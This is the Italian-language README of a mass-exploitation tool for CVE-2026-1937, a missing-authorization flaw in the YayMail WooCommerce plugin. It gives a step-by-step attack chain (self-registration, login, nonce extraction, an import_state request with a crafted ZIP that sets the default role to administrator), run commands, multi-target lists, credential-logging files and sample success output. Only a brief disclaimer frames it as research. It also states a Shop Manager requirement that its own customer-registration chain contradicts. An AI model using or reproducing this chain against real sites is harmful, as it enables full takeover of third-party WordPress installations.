
YayMail <= 4.3.2 - Autorizzazione mancante per Utenti autenticati (Shop Manager+) Aggiornamento arbitrario delle opzioni tramite l'azione AJAX 'yaymail_import_state'
Descrizione:
Il plugin YayMail – WooCommerce Email Customizer per WordPress è vulnerabile a una modifica non autorizzata dei dati che porta a un'Escalation dei Privilegi in tutte le versioni fino alla 4.3.2 inclusa. L'azione AJAX yaymail_import_state è registrata senza alcun controllo delle capacità lato server, consentendo ad attaccanti autenticati con accesso di livello Shop Manager o superiore di invocarla liberamente. Caricando un file di importazione ZIP appositamente creato, l'attaccante può sovrascrivere silenziosamente opzioni arbitrarie del sito WordPress — inclusa l'impostazione del ruolo predefinito di registrazione dei nuovi utenti su administrator e l'attivazione della registrazione pubblica aperta. Una volta iniettate queste opzioni, qualsiasi visitatore può registrarsi autonomamente sul sito e ricevere un account Amministratore WordPress completo, con conseguente compromissione totale del sito.
Questa è una catena di sfruttamento di massa Proof-of-Concept (PoC) che prende di mira installazioni WordPress + WooCommerce che eseguono una versione vulnerabile del plugin YayMail. Lo strumento implementa un attacco end-to-end completo: registrazione WooCommerce → login → estrazione nonce YayMail → exploit yaymail_import_state → verifica admin.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — payload di importazione appositamente creato (richiesto)pip install requests urllib3 rich
Oppure tramite il file dei requisiti:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
Lo strumento utilizza un'interfaccia terminale completamente interattiva basata su Rich.
Crea un file di testo semplice (predefinito: list.txt) — un target per riga:
https://target1.com
https://target2.com
http://target3.com
target4.com
I target senza
http://ohttps://ricevono automaticamente il prefissohttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipL'exploit richiede un file ZIP di importazione YayMail appositamente creato che sovrascrive le seguenti opzioni WordPress quando viene importato:
| Opzione WordPress | Valore Iniettato |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ Lo strumento rifiuterà di eseguire se
yaymail_backup.zipnon è presente nella directory di lavoro.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
Causa principale:
Il gestore yaymail_import_state non chiama current_user_can() né alcun controllo equivalente delle capacità prima di elaborare l'importazione. Qualsiasi utente con il ruolo shop_manager (o superiore) può invocare liberamente questa azione e sovrascrivere voci arbitrarie della tabella wp_options tramite il meccanismo di importazione ZIP.
Lo strumento esegue automaticamente la scansione dei seguenti percorsi per i moduli di registrazione e login:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| File | Descrizione |
|---|---|
reg.txt | Tutte le registrazioni WooCommerce riuscite con le credenziali |
Nx_admin.txt | Tutte le escalation ad amministratore confermate |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────���───────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────────────┘
Autore: Nxploited (Khaled Alenazi)
QUESTO STRUMENTO È FORNITO ESCLUSIVAMENTE PER SCOPI EDUCATIVI E DI RICERCA SULLA SICUREZZA AUTORIZZATA.
L'autore, Nxploited (Khaled Alenazi), e tutti i contributori di questo progetto non approvano, non supportano e non si assumono alcuna responsabilità per l'uso improprio di questo strumento o per qualsiasi danno causato dall'utilizzo di questo software contro sistemi per i quali non si dispone di esplicita autorizzazione scritta.
- ✅ Consentito: Utilizzo su sistemi di tua proprietà o per i quali hai ricevuto esplicito permesso scritto per il test.
- ❌ Vietato: Utilizzo contro qualsiasi sistema senza preventiva esplicita autorizzazione scritta del proprietario del sistema.
L'accesso non autorizzato a sistemi informatici è illegale e punibile ai sensi delle leggi applicabili, incluse, a titolo esemplificativo, il Computer Fraud and Abuse Act (CFAA), il Computer Misuse Act (CMA) e la legislazione equivalente a livello mondiale.
Utilizzando questo strumento, accetti la piena ed esclusiva responsabilità per le tue azioni e confermi di avere l'autorità legale per testare i sistemi presi di mira.
L'autore non si assume alcuna responsabilità per danni diretti, indiretti, incidentali o consequenziali derivanti dall'uso o dall'uso improprio di questo software.
© 2026 Nxploited (Khaled Alenazi) — Solo per ricerca sulla sicurezza autorizzata.
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-1937 |
| Gravità | ALTA — Punteggio CVSS v3.1: 7.2 |
| Vettore | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Ricercatore | Daniel Basta (whizzu) — NASK PIB |
| Pubblicazione pubblica | 17 febbraio 2026 |
| Ultimo aggiornamento | 27 marzo 2026 |
| Software interessato | YayMail – Plugin WooCommerce Email Customizer per WordPress |
| Versioni interessate | Tutte le versioni fino alla 4.3.2 inclusa |
| Tipo di vulnerabilità | Autorizzazione mancante → Aggiornamento arbitrario non autorizzato delle opzioni → Escalation dei privilegi |
| Autenticazione richiesta | Sì — livello Shop Manager o superiore |
| CWE | CWE-862: Autorizzazione mancante |
| Stato | Colore | Significato |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 Verde | Catena completa riuscita — admin confermato |
EXPLOITED (ADMIN) | 🟢 Verde | L'utente registrato era già admin |
PARTIAL | 🟡 Giallo | Importazione YayMail riuscita ma accesso admin non confermato |
REGISTERED | 🟡 Giallo | Registrazione WooCommerce riuscita |
LOGIN-WP | 🔵 Ciano | Accesso effettuato tramite /wp-login.php |
LOGIN-WOO | 🔵 Ciano | Accesso effettuato tramite il modulo WooCommerce |
NONCE-FOUND | 🟣 Magenta | Nonce YayMail estratto con successo |
NO-REGISTER | ⚫ Scuro | Modulo di registrazione WooCommerce non trovato |
LOGIN-FAILED | ⚫ Scuro | Impossibile stabilire una sessione autenticata |
NONCE-NOT-FOUND | ⚫ Scuro | Pagina impostazioni YayMail non accessibile o nonce mancante |
EXPLOIT-FAILED | 🔴 Rosso | La chiamata yaymail_import_state non ha restituito successo |
TIMEOUT | ⚫ Scuro | Timeout HTTP |
DEAD | ⚫ Scuro | Connessione rifiutata / irraggiungibile |
ERROR | 🔴 Rosso | Eccezione imprevista |